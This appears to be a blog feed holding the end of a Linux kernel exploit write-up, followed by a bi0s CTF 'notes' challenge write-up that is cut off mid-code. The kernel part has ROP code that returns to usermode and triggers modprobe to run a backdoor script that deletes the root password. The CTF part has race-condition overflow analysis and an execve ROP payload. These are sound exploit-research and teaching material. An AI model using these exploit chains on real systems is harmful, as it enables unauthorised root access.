mptr[write++] = 0x7777777777777777; mptr[write++] = user_pc; mptr[write++] = user_cs; mptr[write++] = user_rflags; mptr[write++] = user_sp; mptr[write++] = user_ss; // Random padding mptr[write++] = 0x7777777777777777; I initially have to correct the writing index, as our control starts at offset 0x180 into our payload (thx qdisc you’re awesome), then accounting for the msg_msg header (0x30). We skip an additional 8 bytes because of the unfortunate pop rbx in our pivot gadget. The swapgs_return_to_usermode gadget refers to this area of common_interrupt_return: 0xffffffff82401126 &lt;common_interrupt_return+54&gt;: mov rdi,rsp 0xffffffff82401129 &lt;common_interrupt_return+57&gt;: mov rsp,QWORD PTR gs:0x6004 0xffffffff82401132 &lt;common_interrupt_return+66&gt;: push QWORD PTR [rdi+0x30] 0xffffffff82401135 &lt;common_interrupt_return+69&gt;: push QWORD PTR [rdi+0x28] 0xffffffff82401138 &lt;common_interrupt_return+72&gt;: push QWORD PTR [rdi+0x20] 0xffffffff8240113b &lt;common_interrupt_return+75&gt;: push QWORD PTR [rdi+0x18] 0xffffffff8240113e &lt;common_interrupt_return+78&gt;: push QWORD PTR [rdi+0x10] 0xffffffff82401141 &lt;common_interrupt_return+81&gt;: push QWORD PTR [rdi] 0xffffffff82401143 &lt;common_interrupt_return+83&gt;: push rax 0xffffffff82401144 &lt;common_interrupt_return+84&gt;: xchg ax,ax 0xffffffff82401146 &lt;common_interrupt_return+86&gt;: mov rdi,cr3 0xffffffff82401149 &lt;common_interrupt_return+89&gt;: jmp 0xffffffff8240117f &lt;common_interrupt_return+143&gt; ... 0xffffffff8240117f &lt;common_interrupt_return+143&gt;: or rdi,0x1000 0xffffffff82401186 &lt;common_interrupt_return+150&gt;: mov cr3,rdi 0xffffffff82401189 &lt;common_interrupt_return+153&gt;: pop rax 0xffffffff8240118a &lt;common_interrupt_return+154&gt;: pop rdi 0xffffffff8240118b &lt;common_interrupt_return+155&gt;: swapgs 0xffffffff8240118e &lt;common_interrupt_return+158&gt;: nop DWORD PTR [rax+0x0] 0xffffffff82401195 &lt;common_interrupt_return+165&gt;: jmp 0xffffffff824011b7 &lt;common_interrupt_return+199&gt; ... 0xffffffff824011b7 &lt;common_interrupt_return+199&gt;: test BYTE PTR [rsp+0x20],0x4 0xffffffff824011bc &lt;common_interrupt_return+204&gt;: jne 0xffffffff824011c0 &lt;common_interrupt_return+208&gt; 0xffffffff824011be &lt;common_interrupt_return+206&gt;: iretq But besides that its pretty bog standard. After successfully returning to usermode, we get dropped back to our user_pc/retfunc in our exploit. void retfunc() { puts("Back in usermode yayyy"); // https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch struct sockaddr_alg sa; int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (alg_fd &lt; 0) { perror("socket(AF_ALG) failed"); exit(-1); } memset(&amp;sa, 0, sizeof(sa)); sa.salg_family = AF_ALG; // Thx theorio strcpy((char *)sa.salg_type, "V4bel"); // dummy string bind(alg_fd, (struct sockaddr *)&amp;sa, sizeof(sa)); // Should've deleted the root password atp so we gud system("/backdoor.sh"); exit(0); } If you read the post by Theorio I linked earlier talking about alternative ways to invoke modprobe_path, you’ll immediately see whats going on here. By looking up a non-existent algorithm we trigger modprobe. Our script does a couple things. Deletes root password Creates a backdoor shell script A bit excessive as I suppose you’d want to be quiet if doing this kind of thing with a red team or otherwise, but this entire exploit is ONE OF THE NOISIEST THINGS TO EVER EXIST so I dont think that’ll be the primary concern. Take a look. Ignore the shell error it was a misunderstanding. There is 4 main points of failure in the exploit, the first 2 being the cross cache attacks, which will fail occasionally. The 3rd happens when we run commands to reset the interface state - probably because of open “files” and sockets and us corrupting a socket. The 4th is when trying to reclaim tty_structs - we get our leak, but no further than that. The first 2 are luck of the draw - cross cache is known to be a bit unreliable. The 3rd can be mitigated entirely (I believe) if we stopped running commands to reset the interface. But the 4th could potentially be addressed through some heap shaping. The exploit is probably ~50% reliable, maybe slightly higher so there’s still more work to be done here - the code isn’t the best and there’s defo a lot of room for improvement, some functions that don’t need to be functions, etc. I ended up using like-dbg, as you can see. A very easy useful way to build and manage kernels. I did end up doing away with the tmux stuff tho, not a massive fan. Thoughts and Conclusions Thanks for reading. Even if you did skip around its nice having your weirdcore eye angels flapping around in my tiny corner of the net. I hope you learned something, I know I did, so lets get to some of that. This is u btw. Developing exploits for a kernel, especially as racy and unreliable as they are can be an absolute chore, icl trying to get a working run of the exploit which I could then debug was truly truly testing on a primal level (especially after 6 or 6 runs was required to get 1 which was functional). So, its best to remove as many obstacles as possible in this process. One thing I did during this was have 2 different filesystems, one which starts very quickly (only a few seconds) and is extremely light for rapid testing of the exploit, and one which is heavier that represents a more realistic environment with a whole bunch of processes running. Also consider using snapshots or editing kernel source to make testing less tiresome. You’re going to be running qemu A LOT so less friction is a massive w in the long run. I don’t think I’ll be testing exploits on low memory environments again (128M, 256M) unless explicitly required to. I wanna mitigate issues like my problem with pcp lists as much as possible. So I’ll be sticking to 1G and higher in the foreseeable future. Also OH MY GOD do certain objects take much longer to free than others. Qdiscs especially, no idea whats going on there but a delay of 11s between releasing and whatever I was doing next was necessary most of the time. One last thought on the bug: The impact of this is pretty much erased with list hardening enabled (I think). So turn it on unless you got a rlly rlly good reason not to (maybe for speed or something). I think I’ll be trying to POC a few more of these in future. Wanna try my hand at a race condition next cuz its probably gonna actually give me a brain aneurism - I have absolutely no idea what im doing with that bug class most of the time. That’s basically it, I think. I’ll see you all again soon. Sooner than last time probably, now that I have more stuff worth writing down. Much love and good luck :).]]></summary></entry><entry><title type="html">bi0s CTF 22 notes writeup</title><link href="https://volticks.github.io/notes-writeup/" rel="alternate" type="text/html" title="bi0s CTF 22 notes writeup" /><published>2023-01-22T00:00:00+00:00</published><updated>2023-01-22T00:00:00+00:00</updated><id>https://volticks.github.io/notes-writeup</id><content type="html" xml:base="https://volticks.github.io/notes-writeup/"><![CDATA[<h1 id="intro">Intro</h1>

<p>Hey there. I got lazy with writeups again.</p>

<p>This weekend i played <a href="https://ctftime.org/event/1714">bi0s CTF 2022/3</a> with team <a href="https://ctftime.org/team/212987">1/0</a> (formerly <a href="https://ctftime.org/team/116018">zh3r0</a>). I worked on the <code class="language-plaintext highlighter-rouge">notes</code> challenge for the time I was able to play. It was a fun challenge, introducing me to the <code class="language-plaintext highlighter-rouge">shmget</code> and <code class="language-plaintext highlighter-rouge">shmat</code> functions which I had never seen before and going back to basics with a good old race condition.</p>

<h2 id="reversing">Reversing</h2>

<h3 id="protections">Protections</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
</code></pre></div></div>

<p>No canary is certainly interesting. Theres almost certainly gonna be a buffer overflow in here somewhere…</p>

<h3 id="functions">Functions</h3>

<p>Heres the main function:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">a2</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">a3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">pthread_t</span> <span class="n">newthread</span><span class="p">;</span> <span class="c1">// [rsp+0h] [rbp-30h] BYREF</span>
  <span class="n">pthread_t</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-28h] BYREF</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">shmem</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-18h]</span>
  <span class="kt">int</span> <span class="n">shmid</span><span class="p">;</span> <span class="c1">// [rsp+24h] [rbp-Ch]</span>
  <span class="n">key_t</span> <span class="n">key</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-8h]</span>
  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+2Ch] [rbp-4h]</span>

  <span class="n">buffering</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
  <span class="n">art</span><span class="p">();</span>
  <span class="n">alarm</span><span class="p">(</span><span class="mh">0x3Cu</span><span class="p">);</span>
  <span class="n">key</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
  <span class="n">shmid</span> <span class="o">=</span> <span class="n">shmget</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="mh">0x800uLL</span><span class="p">,</span> <span class="mi">950</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">shmid</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Error in shmget</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">17LL</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">shmem</span> <span class="o">=</span> <span class="n">shmat</span><span class="p">(</span><span class="n">shmid</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">shmem</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="o">-</span><span class="mi">1LL</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">memset</span><span class="p">(</span><span class="n">shmem</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x800uLL</span><span class="p">);</span>
      <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">shmem</span> <span class="o">+</span> <span class="mi">29</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">newthread</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="n">wait_and_copy</span><span class="p">,</span> <span class="n">shmem</span><span class="p">)</span> <span class="p">)</span>
        <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Error in creating thread 1</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">28LL</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v5</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="n">start_heap_note</span><span class="p">,</span> <span class="n">shmem</span><span class="p">)</span> <span class="p">)</span>
        <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Error in creating thread 2</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">28LL</span><span class="p">);</span>
      <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
        <span class="n">pthread_join</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">newthread</span> <span class="o">+</span> <span class="n">i</span><span class="p">),</span> <span class="mi">0LL</span><span class="p">);</span>
      <span class="n">shmdt</span><span class="p">(</span><span class="n">shmem</span><span class="p">);</span>
      <span class="n">shmctl</span><span class="p">(</span><span class="n">shmid</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
      <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Done!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">6LL</span><span class="p">);</span>
      <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Error in shmat</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">16LL</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Fairly simple, we set up buffering and the alarm stuff, then get our pid and call into <code class="language-plaintext highlighter-rouge">shmget</code>. Looking at the man page for this function we can see:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int shmget(key_t key, size_t size, int shmflg);
...
       shmget() returns the identifier of the System V shared memory segment associated with the value of the ar‐
       gument key.  It may be used either to obtain the identifier of a previously created shared memory  segment
       (when shmflg is zero and key does not have the value IPC_PRIVATE), or to create a new set.
</code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">key</code> as our pid, and the fact that we have not called any <code class="language-plaintext highlighter-rouge">shm</code> functions before, we can assume that this call will create a new “shared memory segment” rather than reference an old one. So what is a shared memory segment? We can find the answer <a href="https://man7.org/linux/man-pages/man7/sysvipc.7.html">here</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   **Shared memory segments**
       System V shared memory allows processes to share a region a
       memory (a "segment").
</code></pre></div></div>

<p>Fairly obvious by the name, but this is a mechanism that allows multiple processes or threads to share some memory.</p>

<p>After checking errors we drop into the else case and <code class="language-plaintext highlighter-rouge">shmat</code>. Looking at the same page we got the shared memory segment info from we can see:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>       [shmat(2)](https://man7.org/linux/man-pages/man2/shmat.2.html)
              Attach an existing shared memory object into the calling
              process's address space.
</code></pre></div></div>

<p>So this is the function that actually does the legwork. It returns an address which will be the start of our requested shared memory.</p>

<p>After nulling out the memory we drop into 2 threads. After which we return.</p>

<h4 id="wait_and_copy">wait_and_copy</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__fastcall</span> <span class="n">__noreturn</span> <span class="nf">wait_and_copy</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">shmem</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x1C</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x1C</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span>
      <span class="p">;</span>
    <span class="n">copymem</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="n">shmem</span><span class="p">);</span>
    <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x1D</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Pretty simple, we just wait until a variable at offset +0x1c is set to one, then call into <code class="language-plaintext highlighter-rouge">copymem</code>. Safe to assume this variable is a lock of some kind. After the call we set offset +0x1d to 1. Maybe also some kind of lock?</p>

<h4 id="copy_mem">copy_mem</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">copymem</span><span class="p">(</span><span class="n">__int64</span> <span class="n">shmem</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="n">dest</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-40h] BYREF</span>

  <span class="n">sleep</span><span class="p">(</span><span class="mi">2u</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">64</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Size Limit Exceeded</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">20LL</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">xormem</span><span class="p">(</span><span class="n">shmem</span><span class="p">);</span>
  <span class="n">sleep</span><span class="p">(</span><span class="mi">1u</span><span class="p">);</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Sent!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">6LL</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x41E</span><span class="p">),</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">));</span>
</code></pre></div></div>

<p>After sleeping for 2 seconds we check offset +0x18, making sure it is less than 64 and more than 0. If not we complain about the size limit, so i’m assuming this is the “size”. Next we xor the memory and sleep for another second.</p>

<p>At this point is was fairly clear to me that this function is the bug - even though the stack buffer appears to be checked we have multiple threads, maybe there is some way to change the size during the second sleep? After this we copy into our stack buffer <code class="language-plaintext highlighter-rouge">size</code> bytes from our shared memory and return.</p>

<p>The <code class="language-plaintext highlighter-rouge">xormem</code> function isnt particularly relevant. We just xor the contents of our <code class="language-plaintext highlighter-rouge">shmem</code> with ascii characters - this may sound like a massive problem, but it isnt - you’ll see soon enough.</p>

<h3 id="store_note">store_note</h3>

<p>In our other thread we start a heap-note like process in which we can create/edit/print various fields. However as my solution only uses a single one of these I will only cover said function, the rest is fairly self explanitory after you understand this anyway.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">store_note</span><span class="p">(</span><span class="n">__int64</span> <span class="n">shmem</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">__int64</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// rax</span>

  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Enter Note ID: "</span><span class="p">,</span> <span class="mi">15LL</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="n">shmem</span><span class="p">,</span> <span class="mi">8LL</span><span class="p">);</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Enter Note Name: "</span><span class="p">,</span> <span class="mi">17LL</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">16LL</span><span class="p">);</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Enter Note Size: "</span><span class="p">,</span> <span class="mi">17LL</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">);</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Enter Note Content: "</span><span class="p">,</span> <span class="mi">20LL</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x41E</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">));</span>
  <span class="n">result</span> <span class="o">=</span> <span class="n">shmem</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x1C</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Fairly easy to understand, we read in an id (8 bytes), name (16 bytes) and content (controlled size). From this we can assume the structure of our <code class="language-plaintext highlighter-rouge">shmem</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shmem+0x0 == note ID (0x8).
shmem+0x8 == note name (0x10).
shmem+0x18 == note size (0x4)
shmem+0x1c == thread creation lock, has to be 1 before thread 1 (copy thread) can access (0x1).
</code></pre></div></div>

<p>After we store a note, we “unlock” it by setting the creation lock to 1. Of course our other thread is spinning and checking this variable so when it switches over it can start copying memory into the stack buffer.</p>

<p>Now that we have all this information, we can try exploiting it.</p>

<h2 id="vulnerability">Vulnerability</h2>

<p>The bug is a fairly obvious race condition, although i hate to call it a race condition because the amount of time the program sleep()s means we hit it basically every time.</p>

<p>If we look back at the <code class="language-plaintext highlighter-rouge">copymem</code> function again with what we know about the <code class="language-plaintext highlighter-rouge">store_note</code> functionality now:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">copymem</span><span class="p">(</span><span class="n">__int64</span> <span class="n">shmem</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="n">dest</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-40h] BYREF</span>

  <span class="n">sleep</span><span class="p">(</span><span class="mi">2u</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">64</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Size Limit Exceeded</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">20LL</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">xormem</span><span class="p">(</span><span class="n">shmem</span><span class="p">);</span>
  <span class="n">sleep</span><span class="p">(</span><span class="mi">1u</span><span class="p">);</span> <span class="c1">// [1]</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Sent!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">6LL</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x41E</span><span class="p">),</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">));</span>
</code></pre></div></div>

<p>One question comes to mind, what if we initially requested a note with a valid size, but as the program is sleeping at <code class="language-plaintext highlighter-rouge">[1]</code> we swap it out to a note with a much bigger size? This could allow you to overflow the buffer since the <code class="language-plaintext highlighter-rouge">memcpy</code> happens immediately afterwards. Since the sleep happens after <code class="language-plaintext highlighter-rouge">xormem</code> we also dont have to care about our <code class="language-plaintext highlighter-rouge">shmem</code> being corrupted since we replace it anyway.</p>

<p>This looks like this in my solution script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">add</span><span class="p">(</span><span class="s">"A"</span><span class="p">,</span> <span class="s">"B"</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="s">"ABCD"</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">add</span><span class="p">(</span><span class="s">"A"</span><span class="p">,</span> <span class="s">"B"</span><span class="p">,</span> <span class="mi">600</span><span class="p">,</span> <span class="n">pload</span> <span class="p">)</span>
</code></pre></div></div>

<p>We create a good note, wait 2 seconds for the first sleep, then after its passed the check and inside the second sleep, swap the contents to a rop payload. Since PIE is off we also have some gadgets to use. You may have also noticed the usage of the raw <code class="language-plaintext highlighter-rouge">syscall</code> function. This means we can use <code class="language-plaintext highlighter-rouge">syscall</code> instructions with no leaks, which is a massive plus.</p>

<h2 id="exploitation">Exploitation</h2>

<p>Seeing what we have when we return into our ropchain from <code class="language-plaintext highlighter-rouge">copymem</code>, it looks pretty good. For <code class="language-plaintext highlighter-rouge">execve</code>, we need:</p>

<ul>
  <li>rax == 0x3b</li>
  <li>[rdi] == “/bin/sh”</li>
  <li>[rsi] == 0</li>
  <li>[rdx] == 0</li>
</ul>

<p>Thankfully, rsi and rdx already point to nulls. This means we need to find a way to control rax and rdi.</p>

<h3 id="rax">rax</h3>

<p>I couldnt find any suitable gadgets in the binary for rax, so I got a bit exotic. If we look at the man page for <code class="language-plaintext highlighter-rouge">alarm</code>, we can see:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>       **alarm**() returns the number of seconds remaining until any
       previously scheduled alarm was due to be delivered, or zero if
       there was no previously scheduled alarm.
</code></pre></div></div>

<p>We know that alarm can specify how long until <code class="language-plaintext highlighter-rouge">SIGALRM</code> is raised. So what if we did something like:</p>

<ol>
  <li>Call <code class="language-plaintext highlighter-rouge">alarm(0x3b)</code> to set the the countdown to <code class="language-plaintext highlighter-rouge">SIGALRM</code> to 0x3b seconds.</li>
  <li>Call alarm again, this time 0x3b will be returned in rax exactly where it needs to be for our syscall.</li>
</ol>

<p>This is the method I used for controlling rax in my ropchain:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x3b</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">alarm_plt</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x3b</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">alarm_plt</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="rdi">rdi</h3>

<p>This is more obvious - I wanna find a way to write “/bin/sh” into the bss so i can reference it in my ropchain. Thankfully I can use some of the note editing functionality i skipped over earlier to achieve this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">edit_id_show</span><span class="p">(</span><span class="n">__int64</span> <span class="n">shmem</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Enter Note ID: "</span><span class="p">,</span> <span class="mi">15LL</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="n">shmem</span><span class="p">,</span> <span class="mi">8LL</span><span class="p">);</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Note Name: "</span><span class="p">,</span> <span class="mi">11LL</span><span class="p">);</span>
